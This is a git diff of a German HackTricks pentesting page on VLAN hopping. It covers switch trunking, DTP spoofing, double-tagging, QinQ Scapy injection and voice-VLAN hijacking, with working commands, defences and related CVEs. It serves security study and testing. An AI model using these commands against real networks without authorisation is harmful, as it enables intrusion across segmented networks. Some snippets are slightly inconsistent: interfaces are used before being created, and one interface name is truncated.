diff --git a/src/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md b/src/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md index 81971efdc..81bfafe19 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md +++ b/src/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -Wenn direkter Zugang zu einem Switch verfügbar ist, kann die VLAN-Segmentierung umgangen werden. Dies beinhaltet die Neukonfiguration des verbundenen Ports in den Trunk-Modus, das Einrichten virtueller Schnittstellen für die Ziel-VLANs und das Festlegen von IP-Adressen, entweder dynamisch (DHCP) oder statisch, je nach Szenario (**für weitere Details siehe [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)).** +Wenn direkter Zugang zu einem Switch verfügbar ist, kann die VLAN-Segmentierung umgangen werden. Dies beinhaltet die Neukonfiguration des verbundenen Ports in den Trunk-Modus, das Einrichten virtueller Schnittstellen für Ziel-VLANs und das Festlegen von IP-Adressen, entweder dynamisch (DHCP) oder statisch, je nach Szenario (**für weitere Details siehe [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)).** Zunächst ist die Identifizierung des spezifischen verbundenen Ports erforderlich. Dies kann typischerweise durch CDP-Nachrichten oder durch die Suche nach dem Port über die **include**-Maske erreicht werden. @@ -14,7 +14,7 @@ Vor dem Wechsel in den Trunk-Modus sollte eine Liste der vorhandenen VLANs erste ``` SW1# show vlan brief ``` -**Der Übergang in den Trunk-Modus beinhaltet das Betreten des Schnittstellenkonfigurationsmodus**: +**Der Übergang in den Trunk-Modus umfasst das Betreten des Schnittstellenkonfigurationsmodus**: ``` SW1(config)# interface GigabitEthernet 0/2 SW1(config-if)# switchport trunk encapsulation dot1q @@ -24,6 +24,7 @@ Der Wechsel in den Trunk-Modus wird vorübergehend die Konnektivität stören, a Virtuelle Schnittstellen werden dann erstellt, VLAN-IDs zugewiesen und aktiviert: ```bash +# Legacy (vconfig) – still works but deprecated in modern kernels sudo vconfig add eth0 10 sudo vconfig add eth0 20 sudo vconfig add eth0 50 @@ -32,17 +33,26 @@ sudo ifconfig eth0.10 up sudo ifconfig eth0.20 up sudo ifconfig eth0.50 up sudo ifconfig eth0.60 up + +# Modern (ip-link – preferred) +sudo modprobe 8021q +sudo ip link add link eth0 name eth0.10 type vlan id 10 +sudo ip link add link eth0 name eth0.20 type vlan id 20 +sudo ip link set eth0.10 up +sudo ip link set eth0.20 up +sudo dhclient -v eth0.50 +sudo dhclient -v eth0.60 ``` Anschließend wird eine Adressanforderung über DHCP gestellt. Alternativ können in Fällen, in denen DHCP nicht möglich ist, Adressen manuell konfiguriert werden: ```bash sudo dhclient -v eth0.10 sudo dhclient -v eth0.20 -sudo dhclient -v eth0.50 -sudo dhclient -v eth0.60 ``` Beispiel für das manuelle Festlegen einer statischen IP-Adresse auf einer Schnittstelle (VLAN 10): ```bash sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0 +# or +sudo ip addr add 10.10.10.66/24 dev eth0.10 ``` Die Konnektivität wird getestet, indem ICMP-Anfragen an die Standard-Gateways für die VLANs 10, 20, 50 und 60 gesendet werden. @@ -61,22 +71,29 @@ Cisco-Switches, die DTP aktiviert haben, verhandeln gerne einen Trunk, wenn der *Yersinia* und mehrere PoCs automatisieren den Prozess: ```bash # Become a trunk using Yersinia (GUI) -$ sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking +sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking # Python PoC (dtp-spoof) -$ git clone https://github.com/fleetcaptain/dtp-spoof.git -$ sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable +git clone https://github.com/fleetcaptain/dtp-spoof.git +sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable ``` -Sobald der Port auf Trunk umschaltet, können Sie 802.1Q-Subschnittstellen erstellen und genau wie im vorherigen Abschnitt gezeigt pivotieren. Moderne Linux-Kernel benötigen kein *vconfig* mehr; verwenden Sie stattdessen *ip link*: +Recon-Helfer (passives Fingerprinting des DTP-Zustands des Ports): ```bash sudo modprobe 8021q sudo ip link add link eth0 name eth0.30 type vlan id 30 sudo ip addr add 10.10.30.66/24 dev eth0.30 sudo ip link set eth0.30 up + +# or + +wget https://gist.githubusercontent.com/mgeeky/3f678d385984ba0377299a844fb793fa/raw/dtpscan.py +sudo python3 dtpscan.py -i eth0 ``` +Sobald der Port auf Trunk umschaltet, können Sie 802.1Q-Subschnittstellen erstellen und genau wie im vorherigen Abschnitt beschrieben pivotieren. + ### 2. Double-Tagging (Native-VLAN-Missbrauch) -Wenn der Angreifer im **native (untagged) VLAN** sitzt, kann ein gestalteter Frame mit *zwei* 802.1Q-Headern zu einem zweiten VLAN "springen", selbst wenn der Port im Access-Modus gesperrt ist. Tools wie **VLANPWN DoubleTagging.py** (2022-2024 Aktualisierung) automatisieren die Injektion: +Wenn der Angreifer im **native (untagged) VLAN** sitzt, kann ein gestalteter Frame mit *zwei* 802.1Q-Headern zu einem zweiten VLAN springen, selbst wenn der Port im Access-Modus gesperrt ist. Tools wie **VLANPWN DoubleTagging.py** (2022-2025 Refresh) automatisieren die Injektion: ```bash python3 DoubleTagging.py \ --interface eth0 \ @@ -85,15 +102,9 @@ python3 DoubleTagging.py \ --victim 10.10.20.24 \ --attacker 10.10.1.54 ``` -Packet-Durchlauf: -1. Das äußere Tag (1) wird vom ersten Switch entfernt, da es mit dem nativen VLAN übereinstimmt. -2. Das innere Tag (20) ist jetzt sichtbar; der Frame wird über den Trunk in Richtung VLAN 20 weitergeleitet. +### 3. QinQ (802.1ad) Stacking -Die Technik funktioniert auch im Jahr 2025 in Netzwerken, die das native VLAN auf dem Standard belassen und ungetaggte Frames akzeptieren. - -### 3. QinQ (802.1ad) Stapelung - -Viele Unternehmenskerne unterstützen *Q-in-Q* Dienstanbieter-Kapselung. Wo erlaubt, kann ein Angreifer beliebigen 802.1Q-getaggten Verkehr innerhalb eines Anbieters (S-Tag) tunneln, um Sicherheitszonen zu überqueren. Erfassen Sie den 802.1ad Ethertyp 0x88a8 und versuchen Sie, das äußere Tag mit Scapy zu entfernen: +Viele Unternehmenskerne unterstützen *Q-in-Q* Service-Provider-Kapselung. Wo erlaubt, kann ein Angreifer beliebigen 802.1Q-getaggten Verkehr innerhalb eines Anbieters (S-Tag) tunneln, um Sicherheitszonen zu überqueren. Erfassen Sie für Ethertype `0x88a8` und versuchen Sie, das äußere Tag mit Scapy zu entfernen: ```python from scapy.all import * outer = 100 # Service tag @@ -102,22 +113,52 @@ payload = Ether(dst="ff:ff:ff:ff:ff:ff")/Dot1Q(vlan=inner)/IP(dst="10.10.30.1")/ frame = Dot1Q(type=0x88a8, vlan=outer)/payload sendp(frame, iface="eth0") ``` +### 4. Voice-VLAN-Hijacking über LLDP/CDP (IP-Phone-Spoofing) + +Corporate-Zugangsports befinden sich oft in einer *„Access + Voice“*-Konfiguration: untagged Daten-VLAN für den Arbeitsplatz und ein getaggtes Voice-VLAN, das über CDP oder LLDP-MED beworben wird. Durch die Nachahmung eines IP-Telefons kann der Angreifer automatisch das VoIP-VLAN entdecken und betreten – selbst wenn DTP deaktiviert ist. + +*VoIP Hopper* (verpackt in Kali 2025.2) unterstützt CDP, DHCP-Optionen **176/242** und vollständiges LLDP-MED-Spoofing: +```bash +# One-shot discovery & hop +sudo voiphopper -i eth0 -f cisco-7940 + +# Interactive Assessment Mode (passive sniff → auto-hop when VVID learnt) +sudo voiphopper -i eth0 -z + +# Result: new sub-interface eth0. with a DHCP or static address inside the voice VLAN +``` +Die Technik umgeht die Trennung von Daten/Sprach und ist im Jahr 2025 auf Unternehmens-Edge-Switches äußerst verbreitet, da LLDP-Auto-Policy standardmäßig bei vielen Modellen aktiviert ist. + --- ## Defensive Empfehlungen 1. Deaktivieren Sie DTP an allen benutzerorientierten Ports: `switchport mode access` + `switchport nonegotiate`. -2. Ändern Sie das native VLAN an jedem Trunk in ein **unbenutztes, Black-Hole VLAN** und taggen Sie es: `vlan dot1q tag native`. -3. Prune unnötige VLANs an Trunks: `switchport trunk allowed vlan 10,20`. -4. Erzwingen Sie Portsicherheit, DHCP-Snooping und dynamische ARP-Inspektion, um unerwünschte Layer-2-Aktivitäten zu begrenzen. -5. Bevorzugen Sie private VLANs oder L3-Segmentierung anstelle der ausschließlichen Abhängigkeit von 802.1Q-Trennung. +2. Ändern Sie das native VLAN an jedem Trunk in ein **unbenutztes, Black-Hole-VLAN** und taggen Sie es: `vlan dot1q tag native`. +3. Schneiden Sie unnötige VLANs an Trunks: `switchport trunk allowed vlan 10,20`. +4. Erzwingen Sie Portsicherheit, DHCP-Snooping, dynamische ARP-Inspektion **und 802.1X**, um unerwünschte Layer-2-Aktivitäten zu begrenzen. +5. Deaktivieren Sie LLDP-MED-Auto-Sprachrichtlinien (oder sperren Sie sie auf authentifizierte MAC-OUI), wenn IP-Phone-Spoofing nicht erforderlich ist. +6. Bevorzugen Sie private VLANs oder L3-Segmentierung, anstatt sich ausschließlich auf 802.1Q-Trennung zu verlassen. + +--- + +## Reale Anbieteranfälligkeiten (2022-2024) + +Selbst eine perfekt gehärtete Switch-Konfiguration kann durch Firmware-Fehler untergraben werden. Jüngste Beispiele sind: + +* **CVE-2022-20728† – Cisco Aironet/Catalyst Access Points** erlauben die Einspeisung vom nativen VLAN in nicht-native WLAN-VLANs und umgehen die kabelgebundene/kabellose Segmentierung. +* **CVE-2024-20465 (Cisco IOS Industrial Ethernet)** erlaubt ACL-Umgehung auf SVIs nach dem Umschalten des Resilient Ethernet Protocols, wodurch der Verkehr zwischen VRFs/VLANs geleakt wird. Patch 17.9.5 oder später. + +Überwachen Sie stets die Anbieterhinweise zu VLAN-bezogenen Umgehungs-/ACL-Problemen und halten Sie die Infrastruktur-Images aktuell. --- ## Referenzen - [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) -- VLANPWN Angriffswerkzeug – +- VLANPWN-Angriffswerkzeug – - Twingate "Was ist VLAN Hopping?" (Aug 2024) – +- VoIP Hopper-Projekt – +- Cisco Advisory “cisco-sa-apvlan-TDTtb4FY” – {{#include ../../banners/hacktricks-training.md}}